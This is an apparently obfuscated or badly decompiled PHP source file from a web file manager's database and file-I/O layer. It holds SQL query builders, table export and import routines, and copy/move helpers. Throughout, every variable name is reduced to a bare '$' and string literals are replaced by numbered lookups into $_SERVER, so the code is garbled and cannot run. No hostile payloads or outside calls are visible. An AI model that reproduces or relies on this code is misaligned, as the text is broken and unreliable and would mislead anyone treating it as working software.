$this->parseKey($) . $[518] . $this->parseValue($); } } return $[1088] . implode($[50], $); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[]; $ = trim($); if (!preg_match($[1089], $)) { think_exception($[1090] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1050] . $this->escapeString($) . $[1050]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[384]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1051]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[231]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $[1091] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[223]; } return $; } protected function parseTable($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[999])); } return $[993] . trim(implode($[1092], $), $[473]) . $[993]; } protected function parseWhere($) { $ =& $_SERVER[]; $ = $[12]; if (is_string($)) { $ = $; } else { $ = isset($[$[1093]]) ? strtoupper($[$[1093]]) : $[12]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = $[53] . $ . $[53]; unset($[$[1093]]); } else { $ = $[1097]; } foreach ($ as $ => $) { $ .= $[366]; if (is_numeric($)) { $ = $[1098]; } if (0 === strpos($, $[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($[1099], trim($))) { think_exception(think_lang($[1100]) . $[4] . $); } $ = is_array($) && isset($[$[1101]]); $ = trim($); if (strpos($, $[215])) { $ = explode($[215], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[349] . $this->parseWhereItem($this->parseKey($), $) . $[998]; } $ .= implode($[1102], $); } elseif (strpos($, $[287])) { $ = explode($[287], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[349] . $this->parseWhereItem($this->parseKey($), $) . $[998]; } $ .= implode($[1097], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $[367] . $; } $ = substr($, 0, -strlen($)); } return empty($) ? $[12] : $[1103] . $; } protected function parseWhereItem($, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($[518], $[1104], $[1105], $[1106], $[1107], $[1108]))) { $ .= $ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1109], $[0])) { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1110], $[0])) { if (is_array($[1])) { $ = isset($[2]) ? strtoupper($[2]) : $[1095]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = array(); foreach ($[1] as $) { $[] = $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($); } $ .= $[349] . implode($[53] . $ . $[53], $) . $[998]; } } else { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } } elseif ($[384] == $) { $ .= $[996] . $ . $[53] . $[1] . $[1111]; } elseif (preg_match($[1112], $[0])) { $ .= $[0]; } elseif (preg_match($[1113], $[0])) { if (isset($[2]) && $[384] == $[2]) { $ .= $ . $[53] . $this->exp[$] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ = implode($[50], $this->parseValue($[1])); $ .= $ . $[53] . $this->exp[$] . $[996] . $ . $[998]; } } elseif (preg_match($[1114], $[0])) { $ = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[996] . $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[0]) . $[1097] . $this->parseValue($[1]) . $[367]; } else { think_exception(think_lang($[1100]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1094], $[1095], $[1096]))) { $ = $ - 1; } } else { $ = $[1094]; } for ($ = 0; $ < $; $++) { $ = is_array($[$]) ? $[$][1] : $[$]; if ($[384] == strtolower($[$][0])) { $ .= $[349] . $ . $[53] . $ . $[1111] . $ . $[53]; } else { $ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[518]; if (!$ && is_array($[$]) && in_array($[$][0], array($[518], $[1104], $[1105], $[1106], $[1107], $[1108]))) { $ = $[$][0]; } $ .= $[349] . $ . $[53] . $ . $[53] . $this->parseValue($) . $[1111] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $[1115] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $) { $ =& $_SERVER[]; $ = $[12]; switch ($) { case $[439]: $ = $; break; case $[1098]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1116]: parse_str($, $); if (isset($[$[1093]])) { $ = $[53] . strtoupper($[$[1093]]) . $[53]; unset($[$[1093]]); } else { $ = $[1097]; } $ = array(); foreach ($ as $ => $) { $[] = $this->parseKey($) . $[1115] . $this->parseValue($); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $) { if (!1 !== stripos($, $[1117])) { $ .= $[53] . $; } else { $ .= $[1118] . $; } } } else { $ .= $[1118] . $; } } $ = preg_replace($[1119], think_config($[1023]) . $[1120], $); return $; } protected function parseOrder($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($[1121], $[1122])) ? $[53] . $ : $[12]; if (preg_match($[1123], $)) { $[] = $this->parseKey($) . $; } else { think_exception($[1124] . $); } } } $ = implode($[50], $); } return !empty($) ? $[1125] . $ : $[12]; } protected function parseGroup($) { $ =& $_SERVER[]; return !empty($) ? $[1126] . $ : $[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1127] . $ : $[12]; } protected function parseComment($) { $ =& $_SERVER[]; return !empty($) ? $[1128] . $ . $[1129] : $[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1130] : $[12]; } protected function parseUnion($) { $ =& $_SERVER[]; if (empty($)) { return $[12]; } if (isset($[$[435]])) { $ = $[1131]; unset($[$[435]]); } else { $ = $[1132]; } foreach ($ as $) { $[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $); } public function insert($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->model = $[$[370]]; foreach ($ as $ => $) { if (is_array($) && $[384] == $[0]) { $[] = $this->parseKey($); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $[] = $this->parseValue($); } } $ = ($ ? $[1000] : $[1001]) . $[1002] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[997] . implode($[50], $) . $[998]; $ .= $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1); $ .= $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function selectInsert($, $, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[999])); $ = $[1133] . $this->parseTable($) . $[996] . implode($[50], $) . $[1111]; $ .= $this->buildSelectSql($); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function update($, $) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $[1134] . $this->parseTable($[$[368]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]) . $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]) . $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]) . $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1) . $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function delete($ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $[1135] . $this->parseTable($[$[368]]) . $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]) . $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]) . $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]) . $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1) . $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); } public function select($ = array()) { $ =& $_SERVER[]; $this->model = $[$[370]]; $ = $this->buildSelectSql($); $ = isset($[$[436]]) ? $[$[436]] : !1; if ($) { $ = is_string($[$[97]]) ? $[$[97]] : $[1136] . md5($); $ = think_cache($, $[12], $); if (!1 !== $) { return $; } } $ = $this->query($, $this->parseBind(!empty($[$[372]]) ? $[$[372]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ = array()) { $ =& $_SERVER[]; if (isset($[$[440]])) { if (strpos($[$[440]], $[50])) { list($, $) = explode($[50], $[$[440]]); } else { $ = $[$[440]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$[379]]) ? $[$[379]] : 20); $ = $ * ((int) $ - 1); $[$[379]] = $ . $[50] . $; } if (think_config($[1137])) { $ = $[1138] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[939]]) ? $[$[939]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $ = array()) { $ =& $_SERVER[]; $ = str_replace(array($[1139], $[1140], $[1141], $[1142], $[1143], $[1144], $[1145], $[1146], $[1147], $[1148], $[1149]), array($this->parseTable("{$[$[368]]}"), $this->parseDistinct(isset($[$[1150]]) ? $[$[1150]] : !1), $this->parseField(!empty($[$[362]]) ? $[$[362]] : $[223]), $this->parseJoin(!empty($[$[371]]) ? $[$[371]] : $[12]), $this->parseWhere(!empty($[$[364]]) ? $[$[364]] : $[12]), $this->parseGroup(!empty($[$[592]]) ? $[$[592]] : $[12]), $this->parseHaving(!empty($[$[1151]]) ? $[$[1151]] : $[12]), $this->parseOrder(!empty($[$[453]]) ? $[$[453]] : $[12]), $this->parseLimit(!empty($[$[379]]) ? $[$[379]] : $[12]), $this->parseUnion(!empty($[$[434]]) ? $[$[434]] : $[12]), $this->parseComment(!empty($[$[441]]) ? $[$[441]] : $[12])), $); return $; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$[6]][$[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($ = false) { $ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ = $[$[1065]]; $[$[1065]] = $[12]; if ($[$[1060]] == $[1057]) { $ = $[$[1066]]; $[$[1066]] = substr($, 0, strrpos($, $[1152])); } $this->database = $; $ = $this->model()->db(); try { $ = $->execute("show databases like '{$}'"); } catch (Exception $) { } if (!$) { $->execute("create database `{$}`"); } $[$[1065]] = $; if ($[$[1060]] == $[1057]) { $[$[1066]] .= $[1152] . $; } $this->database = $; $->execute("use `{$}`"); return $; } public function createTable($, &$) { $ =& $_SERVER[]; if (!IO::exist($)) { ActionCall($[1153], !0, 0); show_json(LNG($[1154]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $[1155]) === 0; if ($) { $->task[$[1156]] += 1; } $->execute($); if ($) { preg_match($[1157], $, $); $->task[$[1158]] = $[1]; $->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($ as $) { $ = basename($, $[880]); if (!in_array($, $)) { continue; } $->task[$[1158]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($[1153], !0, 0); show_json(LNG($[1159]) . "[{$}]", !1); } } } public function sqlFromDb($, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1158]] = $; } $ = $this->model($); $ = 0; $ = 0; $ = 10000; $ = fopen($, $_SERVER[][1160]); $ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][879]] && in_array($, array($_SERVER[][1161], $_SERVER[][1162]))) { $ = $; } do { $ = array($ => array($_SERVER[][1107], $)); $ = $->where($)->field($)->order($ . $_SERVER[][1163])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $ = end($); $ = $[$]; $ = array(); foreach ($ as $) { if ($) { if ($ == $_SERVER[][1161]) { if ($[$_SERVER[][33]] == $_SERVER[][1164]) { $ = json_decode($[$_SERVER[][462]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][879]] && $[$_SERVER[][840]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1165] && $[$_SERVER[][97]] == $_SERVER[][875]) { continue; } } } if ($) { $[$_SERVER[][87]] = "{io:{$}}" . substr($[$_SERVER[][87]], strlen("{io:{$[$_SERVER[][913]]}}")); $[$_SERVER[][913]] = $; } $[] = $_SERVER[][1166] . $this->sqlEncode($) . $_SERVER[][1167]; } $ = "INSERT INTO `{$}` (`" . implode($_SERVER[][1168], $) . $_SERVER[][1169]; fwrite($, $ . implode($_SERVER[][1170], $) . $_SERVER[][74] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $; } public function sqlToDb($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($, $[1171]); if (!$) { return !1; } $ = 0; $ = $[12]; $ = array(); $ = $this->dbType(); $ = $ == $[13] ? 500 : 2000; $ = basename($, $[880]); $ = 0; $ = 4194304; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $, $); if (stripos($, $[442]) === 0) { if (!$) { $ = $ . $[53]; } continue; } if ($) { $->task[$[1156]] += 1; } $++; $[] = rtrim(rtrim(trim($), $[50]), $[74]); $ = null; $ = strlen($); $ += $; $ = strlen($) + $ + (count($) - 1); if ($ >= $) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $ || $) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ = 0; if ($) { $ = array($); $ = 1; $ = $; } } } fclose($); if (!empty($)) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $->execute("drop table if exists `{$}`"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($[1172], $[288], $[429]), array($[1173], $[1174], $[1175]), $); $[] = $; } return $[58] . implode($[1176], $) . $[58]; } private function sqlDecode($, $, $ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1173], $[1174], $[1175]), array($[1172], $[288], $[429]), $); if ($ == $[13]) { $ = str_ireplace($[1177], $[59], $); $ = stripslashes($); } return preg_replace($[1178], $[12], $); if ($ == $[13]) { return $ != $[874] ? stripslashes($) : $; } if ($ == $[874]) { $ = str_replace($[1179], $[121], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "install/data/{$}.sql"; $ = file_get_contents($); $ = $[1180] . ($ == $[898] ? $[1181] : $[1182]) . $[1183]; preg_match_all($, $, $); $ = $[1]; $ = $this->model()->db(); $ = $->getTables(); $ = TEMP_FILES . $[1184] . date($[262]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1185]; $ = $ . $[1186]; $ = $ == $[13] ? $[898] : $[13]; IO::copy(CONTROLLER_DIR . "install/data/{$}.sql", $); @touch($ . $ . $[880]); $ = fopen($, $[1160]); $ = fopen($, $[1160]); if ($ == $[13]) { $ = array_diff($, array($[872], $[873])); $ = array($[1187], $[1188], $[1189]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $) { $ = $this->sqlFromSqlite($); if (!$[$[13]]) { continue; } fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[898]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $ = $this->sqlFromMysql($); if (!$[$[898]]) { continue; } fwrite($, $[$[898]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1060]]; if ($ == $[1057]) { $ = explode($[4], $[$[1066]]); $ = $[0]; } $ = array($[1190] => $[13], $[1005] => $[898]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1191] . $ . $[473]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1192], $[12]); if (!$) { return !1; } $ = "DROP TABLE IF EXISTS `{$}`;" . PHP_EOL . $ . $[74]; if ($ && $ == $[898]) { return $; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1065]]; $ = $[1193] . $ . $[1194] . $ . $[58]; $ = $[1195] . $ . $[993]; $ = $->query($); if (empty($)) { $ = array($[898] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $[12]; $ = array(); foreach ($ as $) { if (!$ && $[$[1196]] == $[1197]) { $ = $[$[1198]]; } if (isset($[$[$[1196]]])) { $[$[$[1196]]][$[1199]][] = $[$[1198]]; continue; } $[$[$[1196]]] = array($[1200] => $[$[1196]], $[1199] => array($[$[1198]]), $[1201] => $[$[1202]] == $[91] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$[1200]] == $[1197]; $ = array($[1203], $[$[1201]] == $[91] && !$ ? $[1204] : $[12], $[1205], $[1206] . $ . $[11] . ($ ? $[1207] : $[$[1200]]) . $[121], $[1208], $[121] . $ . $[121], $[1209] . implode($[1210], $[$[1199]]) . $[1211]); $[] = implode($[53], $) . $[74]; } $ = array(); $ = array($[1212] => $[1213], $[1213] => $[1213], $[375] => $[402], $[374] => $[402]); foreach ($ as $) { $ = array($[121] . $[$[1214]] . $[121], isset($[$[$[1215]]]) ? $[$[$[1215]]] : $[$[1216]], $[$[1217]] == $[991] ? $[1218] : $[1219], $[$[1214]] == $ ? $[1220] : $[12], $[$[1042]] ? strtoupper(str_replace($[11], $[12], $[$[1042]])) : $[12]); $[] = trim(implode($[53], $)); } $ = array($[1221] . $ . $[1222], $[1223] . $ . $[1224], implode($[50] . PHP_EOL, $), $[1039]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $[13]) { return $; } $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = "PRAGMA TABLE_INFO ('{$}')"; $ = "SELECT * FROM sqlite_master WHERE tbl_name = '{$}'"; $ = $->query($); if (empty($)) { $ = array($[898] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $ = array(); foreach ($ as $) { if ($[$[33]] == $[368]) { $[] = $[$[1225]]; } else { $[$[$[32]]] = $[$[1225]]; } } $ = array_merge(array($[1221] . $ . $[121]), $, array_values($)); $ = implode($[74] . PHP_EOL, $) . $[74]; if ($ && $ == $[13]) { return $; } $ = array(); foreach ($ as $ => $) { $ = str_replace($[1226] . $ . $[11], $[12], $); $ = str_replace($ . $[11], $[12], $); $ = str_replace(array($[121], $[1050]), $[473], substr($, stripos($, $[349]))); $[$] = $; } $ = array(); $ = array($[1213] => $[1227], $[402] => $[1228]); $ = $ = $[12]; foreach ($ as $) { if ($[$[57]] == $[91]) { $ = $[$[32]]; } $ = $[$[33]]; if ($ == $[1229] && isset($[$[$[32]]])) { $ = $[1230]; } $ = array($[473] . $[$[32]] . $[473], _get($, $, $), $[$[35]] == $[91] ? $[1218] : $[1231] . $[$[56]], $[$[57]] == $[91] ? $[1232] : $[12]); $[] = trim(implode($[53], $)); } foreach ($ as $ => $) { if ($ == $[1207]) { $ = $ = $[1233] . $ . $[1234]; } else { $ = (stripos($, $[11]) ? $[1235] : $[12]) . ($[1236] . $ . $[1237] . $); } $[] = $; } if ($ && !$) { $ = array_merge(array($[1233] . $ . $[1234]), $); } $ = array($[1238] . $ . $[1239], $[1240] . $ . $[1241], implode($[50] . PHP_EOL, $), $[1242]); $ = implode(PHP_EOL, $); if ($ && $ == $[898]) { return $; } $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1243]] = $[1244] . $; Hook::trigger($[1244] . $ . $[1245], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1246])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1244] . $ . $[1247], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][635], $); } public static function move($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][637], $); } public static function copyMoveChildren($, $, $ = "copy", $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $; $ = self::driverMake($); $ = $->listPath($, !0); $ = array_merge($[$[86]], $[$[85]]); foreach ($ as $) { self::copyMoveStart($[$[87]], $, $, $, !1); } if ($ == $[637]) { self::remove($); } } private static function copyMoveStart($, $, $, $, $) { $ =& $_SERVER[]; $ = array($, $, $, $); Hook::trigger($[1244] . $ . $[1245], $); $ = self::copyMove($, $, $, $, $); Hook::trigger($[1244] . $ . $[1247], $, $); return $; } public static function saveFile($, $, $ = true) { $ =& $_SERVER[]; $ = self::info($); $ = self::driverMake($); $ = self::driverMake($); $ = !1; if ($->pathParse[$[1248]]) { $ = $; $ = $->pathParse[$[1248]]; $ = self::driverMake($); } if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::driverMake($); } $ = $->pathFather($); $ = !0; if (!$ && self::driverIsSame($, $)) { $ = !1; } $ = self::copyFile($, $, $, $, $[$[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$ || $ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($); $ = $ == $[637]; $ = !1; if ($->pathParse[$[1248]]) { $ = $; $ = $->pathParse[$[1248]]; $ = self::driverMake($); } if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::driverMake($); } self::check($, $, $, $); Hook::trigger($[1249], $, $, $, $); $ = self::driverIsSame($, $); if ($) { if ($ == $[637] && !method_exists($, $[1250]) && trim($, $[8]) == trim($->pathFather($), $[8])) { if ($->pathThis($) != $ && !$->isOsDriver()) { return $->rename($, $); } return $->getPathOuter($); } if (method_exists($, $)) { return $->{$}($, $, $, $); } } if ($ && $ == $[637] && $->getType() == $[109]) { $ = $->movePath($, $, $); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $[847] && $->getType() == $[109]) { $ = $->copyFolderFromIO($, $, $, $, $, $); } else { $ = self::copyPath($, $, $, $, $, $, $, $); } if ($ && $) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($, $, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($, $) && $->isFolder($) && $->isParentOf($, $)) { show_json(LNG($[1251]), !1); } if (!$->exist($)) { show_json(LNG($[108]), !1); } } private static function copyPath($, $, $, $, $, $, $, $ = false, $ = true) { $ =& $_SERVER[]; $ = empty($) && $ !== $[231] ? $->pathThis($) : $; if ($) { $ = $->fileNameExist($, $); $ = $; $ = $->fileNameAuto($, $, $, !$); if (!$ || $ != $) { $ = !1; } if ($ && !$) { $->_data[$[1252]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $; $ = $->mkdir($->getPath($), $); $ = $->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($[86] => array(), $[85] => array()); $ = array_merge($[$[86]], $[$[85]]); foreach ($ as $) { $ = $[$[33]] == $[233]; $ = $->getPathInner($[$[87]]); $ = self::copyPath($, $, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($[1253] . $ . $[73] . $); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $->getPath(rtrim($, $[8]) . $[8] . $); $ = $[1254] . time() . rand_string(5); Hook::trigger($[1255], $, $, $, $, $, $); if (self::driverIsSame($, $)) { if ($) { $ = $->moveFile($, $); } else { $ = $->copyFile($, $); } Hook::trigger($[1256], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[888]]) { $ = $GLOBALS[$[6]][$[92]][$[888]]; } $ = $; mk_dir($); $ = $ . $; $ = $; $ = $->download($, $); $ = $->iconvApp($); if (substr($, strlen($)) == $) { $ = !0; } $ = $->upload($, $, $); self::remove($); Hook::trigger($[1256], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $, $) { if (!$) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][88]]); } public static function pathFather($) { $ = IO::init($); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $ = false, $ = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $, $); } return $->fileOut($, $, $, $); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutImageServer($, $); } return $->fileOutImage($, $); } private static function driverIsSame($, $) { $ =& $_SERVER[]; $ = $->getType(); $ = $->getType(); if ($ != $) { return !1; } if ($ == $[847]) { return !0; } if ($ == $[109]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = array_to_keyvalue(self::listAllSimple($), $[87]); $ = array_to_keyvalue(self::listAllSimple($), $[87]); $ = array(); $ = array(); foreach ($ as $ => $) { if (isset($[$])) { if ($[$[78]] == 1) { continue; } if ($[$][$[79]] == $[$[79]]) { continue; } } if ($[$[78]] == 1) { $[] = $ . $[8] . trim($, $[8]); continue; } $ = strstr(trim($, $[8]), $[8]) ? get_path_father($) : $[12]; $[] = array($[1257] => $[$[89]], $[1258] => rtrim($, $[8]) . $[8] . $, $[1259] => $); } $ = array($[233] => $, $[78] => $); Hook::trigger($[1260], $, $, $); foreach ($ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$[1257]], $[$[1258]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ = false) { $ =& $_SERVER[]; $ = self::driverMake($); $ = $->size($); $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if (!$ && $->getType() == $[109] && !$->exist($)) { $ = get_path_this($); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1261] . LNG($[1262]) . $[1059] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("fileRead error! start={$};length={$}; size={$};"); } $ = $->fileSubstr($, $, $); if (!$ && $ && isset($GLOBALS[$[1263]])) { throw new Exception($GLOBALS[$[1263]][$[1264]]); } return $; } private static function 